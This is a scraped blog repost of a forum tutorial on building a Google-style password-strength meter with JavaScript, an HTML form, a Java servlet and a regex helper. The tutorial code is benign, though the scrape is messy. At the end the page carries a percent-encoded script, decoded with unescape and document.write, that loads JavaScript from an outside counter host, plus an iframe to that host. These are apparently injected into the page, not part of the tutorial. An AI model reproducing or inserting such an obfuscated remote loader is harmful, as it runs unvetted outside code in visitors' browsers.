[xml,jsp]仿google密码强度判断

最新推荐文章于 2023-06-20 11:17:35 发布

wmh4242424

最新推荐文章于 2023-06-20 11:17:35 发布

阅读量357

点赞数

文章标签： google jsp xml servlet javascript 正则表达式工具

本文链接：https://blog.csdn.net/wmh4242424/article/details/1811864

版权

HTML Tags and JavaScript tutorial

[xml,jsp]仿google密码强度判断

gv_showWait('waitDiv', 1);prtie2('Java天下|开放,共享,互助的中文Java社区|打造中国第一的中文Java社区！ - 高级话题 - WebService/XML - [xml,jsp]仿google密码强度判断')

用户:

ajie

[xml,jsp]仿google密码强度判断

06-04-22
17:11


广告 -
Java天下社区

By 我容易么我
灵感来自GOOGLE--Gmail的注册表单，这是结合XMLHTTP和servlet以及客户端脚本Javascript来实现的一个给死板的表单程序增加亲和力的一个小玩意。
下午看到遂花了几小时模仿着写了一个。前端代码均来自GMAIL的表单注册那里，后段验证密码强度的servlet是自己做的，算法有待商戳不过效果算是出来了。
先来看客户端的JS代码，命名文 gvUserReg.js
程序代码：

程序代码：

// this code powered by google
var agt = navigator.userAgent.toLowerCase();
var is_op = (agt.indexOf(
"opera"
) != -1);
var is_ie = (agt.indexOf(
"msie"
) != -1) &&
document
.all && !is_op;
var is_ie5 = (agt.indexOf(
"msie 5"
) != -1) &&
document
.all && !is_op;
function CreateXmlHttpReq(handler) {
  var xmlhttp =
null
;
  if (is_ie) {

// Guaranteed to be ie5 or ie6
    var control = (is_ie5) ?
"Microsoft.XMLHTTP"
:
"Msxml2.XMLHTTP"
;

try
{
      xmlhttp =
new
ActiveXObject(control);
      xmlhttp.onreadystatechange = handler;
    }
catch
(ex) {

// TODO: better help message
      alert(
"You need to enable active scripting and activeX controls"
);
    }
  }
else
{

// Mozilla
    xmlhttp =
new
XMLHttpRequest();
    xmlhttp.onload = handler;
    xmlhttp.onerror = handler;
  }

return
xmlhttp;
}
alert();
// XMLHttp send POST request
function XmlHttpPOST(xmlhttp, url, data) {

try
{
    xmlhttp.open(
"POST"
, url,
true
);
    xmlhttp.setRequestHeader(
"Content-Type"
,
"application/x-www-form-urlencoded; charset=UTF-8"
);
    xmlhttp.send(data);
  }
catch
(ex) {

// do nothing
  }
}
// XMLHttp send GEt request
function XmlHttpGET(xmlhttp, url) {

try
{
    xmlhttp.open(
"GET"
, url,
true
);
    xmlhttp.send(
null
);
  }
catch
(ex) {

// do nothing
  }
}
var myxmlhttp;
  var isBrowserCompatible;
  var hidePasswordBar;
  ratingMsgs =
new
Array(6);
  ratingMsgColors =
new
Array(6);
  barColors =
new
Array(6);
  ratingMsgs[0] =
"未评级"
;
  ratingMsgs[1] =
"太短"
;
  ratingMsgs[2] =
"弱"
;
  ratingMsgs[3] =
"一般"
;
  ratingMsgs[4] =
"很好"
;
  ratingMsgs[5] =
"极佳"
;
//If the password server is down
  ratingMsgColors[0] =
"#808080"
;
  ratingMsgColors[1] =
"#da5301"
;
  ratingMsgColors[2] =
"#ccbe00"
;
  ratingMsgColors[3] =
"#1e91ce"
;
  ratingMsgColors[4] =
"#0000FF"
;
  ratingMsgColors[5] =
"#ff0000"
;
  barColors[0] =
"#e0e0e0"
;
  barColors[1] =
"#da5301"
;
  barColors[2] =
"#f0e54b"
;
  barColors[3] =
"#1e91ce"
;
  barColors[4] =
"#0000FF"
;
  barColors[5] =
"#ff0000"
;
  hidePasswordBar =
false
;
  function CreateRateUserPassReq(formKey) {
    if (!isBrowserCompatible) {
      return;
    }
    var passwd =
document
.forms[formKey].gvUserPass.value;
var min_passwd_len = 6;
    var passwdKey =
"passwd"
;
    if (passwd.length < min_passwd_len) {
     DrawBar(1);
    }
else
{

//We need to escape the password now so it won't mess up with length test
      passwd = escape(passwd);
      var params = passwdKey +
"="
+ passwd
      myxmlhttp = CreateXmlHttpReq(RateUserPassXmlHttpHandler);
      XmlHttpPOST(myxmlhttp,
"/club/rateUserPass.gv"
, params);
    }
  }
  function getElement(name) {
    if (
document
.all) {

return
document
.all(name);
    }

return
document
.getElementById(name);
  }
  function RateUserPassXmlHttpHandler() {

// Can't check status since safari doesn't support it
    if (myxmlhttp.readyState !=4 ) {
      return;
    }
    rating = parseInt(myxmlhttp.responseText);
    DrawBar(rating);
  }
  function DrawBar(rating) {
    var posbar = getElement('posBar');
    var negbar = getElement('negBar');
    var passwdRating = getElement('passwdRating');
    var barLength = getElement('passwdBarDiv').width;
    if (rating >= 0 && rating <= 5) {
//We successfully got a rating
      posbar.style.width = barLength / 5 * rating;
      negbar.style.width = barLength / 5 * (5 - rating);
    }
else
{
      posbar.style.width = 0;
      negbar.style.width = barLength;
      rating = 5;
// Not rated Rating
    }
    posbar.style.background = barColors[rating]
    passwdRating.innerHTML =
"<font color='"
+ ratingMsgColors[rating] +

"'>"
+ ratingMsgs[rating] +
"</font>"
;
  }

精品归档

信誉：
+1.0
    积分：
+2.0
    金币：
+1.0

广告 -
广告位招租
-->

用户:

ajie

[xml,jsp]仿google密码强度判断

06-04-22
17:13


广告 -
Java天下社区

积分:

1729.0

金币:

68.0

信誉:

129.0

发帖:

410

来自:

上海

[1]楼
->

编辑主题

删除主题

管理主题

表单部分只是列出密码选框部分
程序代码：
要引入刚才那个JS文件

程序代码：

<script language=
"javascript"
src=
"gvUserReg.js"
></script>
<form action=
"userRegPost.jsp"
method=
"post"
  name=
"Gforms"
onSubmit=
"
return
CheckForm();"
>
<table width=
"100%"
  border=
"0"
cellpadding=
"0"
cellspacing=
"0"
>
        <tr>
        <td width=
"100"
><input style=
"width:200 px"
onKeyUp=
"CreateRateUserPassReq('Gforms')"
name=
"gvUserPass"
type=
"password"
id=
"gvUserPass"
size=
"30"
maxlength=
"30"
/>            </td>
        <td width=
"10"
></td><td>
<TABLE  width=
"200"
border=0 cellPadding=0 cellSpacing=0 >
<TBODY><TR><TD vAlign=top noWrap width=0>
<A href=
"#"
>密码强度：</A>
</TD>
<TD><DIV  id=
"passwdRating"
>太短</DIV>
</TD></TR><TR><TD height=3></TD></TR>
<TR><TD colSpan=2>
<TABLE  id=
"passwdBarDiv"
cellSpacing=0 cellPadding=0 width=
"200"
  bgColor=
"#ffffff"
border=0>
<TBODY><TR>
<TD id=
"posBar"
width=
"0%"
bgColor=
"#e0e0e0"
height=
"4"
></TD>
<TD id=
"negBar"
width=
"100%"
bgColor=
"#e0e0e0"
  height=
"4"
></TD>
</TR></TBODY>
</TABLE>
</TD></TR>
</TBODY></TABLE> </td>
    </tr>
    </table>
<script language=
"javascript"
>

</script>
</form>

Servlet部分，验证密码强度的JAVA类
程序代码：

程序代码：

/*
* 2005-12-14
* Made in GamVan
*/
package
com.gamvan.club.servlet;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.gamvan.tools.EncodeString;
/**
* @author GamVan by 我容易么我
* Powered by GamVan.com
*/
public
class RateUserPass extends HttpServlet {
private
static
final
long
serialVersionUID = 1L;
private
int
rate = 0;
/**
* 口令强弱等级判定,强度算法有待商戳，功能基本实现
* @param pass
* @return
* 2005-12-14 16:55:03 Made In GamVan
* com.gamvan.club.servlet
*/
public
int
rateUserPass(String pass){
/*
* i 值指示口令等级
* 0 不合法口令
* 1 太短
* 2 弱
* 3 一般
* 4 很好
* 5 极佳
*/
int
i = 0;
if
(pass==
null
|| pass.length()==0){
return
0;
}
int
hasLetter = EncodeString.matcherStr(pass,
"[a-zA-Z]"
,
""
).length();
int
hasNumber = EncodeString.matcherStr(pass,
"[0-9]"
,
""
).length();
int
passLen = pass.length();
if
(passLen>=6){
/* 如果仅包含数字或仅包含字母 */
if
((passLen-hasLetter)==0 || (passLen-hasNumber)==0){
if
(passLen<8){
i = 2;
}
else
{
i = 3;
}
}
/* 如果口令大于6位且即包含数字又包含字母 */
else

if
(hasLetter>0 && hasNumber>0){
if
(passLen>=10){
i = 5;
}
else

if
(passLen>=8){
i = 4;
}
else
{
i = 3;
}
}
/* 如果既不包含数字又不包含字母 */
else

if
(hasLetter==0 && hasNumber==0){
if
(passLen>=7){
i = 5;
}
else
{
i = 4;
}
}
/* 字母或数字有一方为0 */
else

if
(hasNumber==0||hasLetter==0){
if
((passLen-hasLetter)==0 || (passLen-hasNumber)==0){
i = 2;
}
/*
* 字母数字任意一种类型小于6且总长度大于等于6
* 则说明此密码是字母或数字加任意其他字符组合而成
*/
else
{
if
(passLen>8){
i = 5;
}
else

if
(passLen==8){
i = 4;
}
else
{
i = 3;
}
}
}
}
else
{
//口令小于6位则显示太短
if
(passLen>0){
i = 1;
//口令太短
}
else
{
i = 0;
}
}
return
i;
}
public
void service(HttpServletRequest request,HttpServletResponse response)
throws ServletException, IOException
{
String userPass = request.getParameter(
"passwd"
);
rate = rateUserPass(userPass);
response.setContentType(
"text/HTML;charset=UTF-8"
);
PrintWriter out = response.getWriter();
out.print(rate);
out.close();
if
(
true
)return;
return
;
}
}

下面这个是强度验证的servlet用到的一个正则表达式工具类，这里我只把我们这篇文章用到的其中一个方法贴出来给大家
程序代码：

程序代码：

/*
* Made in GamVan
*/
package
com.gamvan.tools;
import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import sun.misc.BASE64Encoder;
import java.util.regex.*;
import com.gamvan.tools.MD5;
/**
* 字符串操作集合类
* @author GamVan by 我容易么我
* Powered by GamVan.com
*/
public
class EncodeString{

/**
     * 循环找出匹配内容
     * @param str
     * @param cp
     * @param s
     * @return
     * 2005-12-11 18:45:25 Made In GamVan
     * com.gamvan.tools
     */

public
static
String matcherStr(String str, String cp, String s){

if
(str==
null
|| str.equals(
""
)){

return
""
;
        }
        String txt =
new
String();
        txt = str;

if
(str!=
null
&& !str.equals(
""
)){
            txt = str;
            Pattern p = Pattern.compile(cp,2);
//参数2表示大小写不区分
            Matcher m = p.matcher(txt);
            StringBuffer sb =
new
StringBuffer();

int
i=0;
            boolean result = m.find();

//使用循环将句子里所有匹配的内容找出并替换再将内容加到sb里

while
(result) {
                i++;
                sb.append(m.group());
                sb.append(s);

//继续查找下一个匹配对象
                result = m.find();
            }
            txt = String.valueOf(sb);
        }
else
{
            txt =
""
;
        }

return
txt;
    }
}

地球人都知道servlet需要部署才能用我这里这个应用在web.xml是这么部署的！大家可以根据需要自己改。
程序代码：

程序代码：

<servlet>
<servlet-name>RateUserPass</servlet-name>
<servlet-class>com.gamvan.club.servlet.RateUserPass</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>RateUserPass</servlet-name>
<url-pattern>/club/rateUserPass.gv</url-pattern>
</servlet-mapping>

gv_showWait('waitDiv', 0);

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">

wmh4242424

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
[xml,jsp]仿google密码强度判断

HTML Tags and JavaScript tutorialvar encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);
复制链接

扫一扫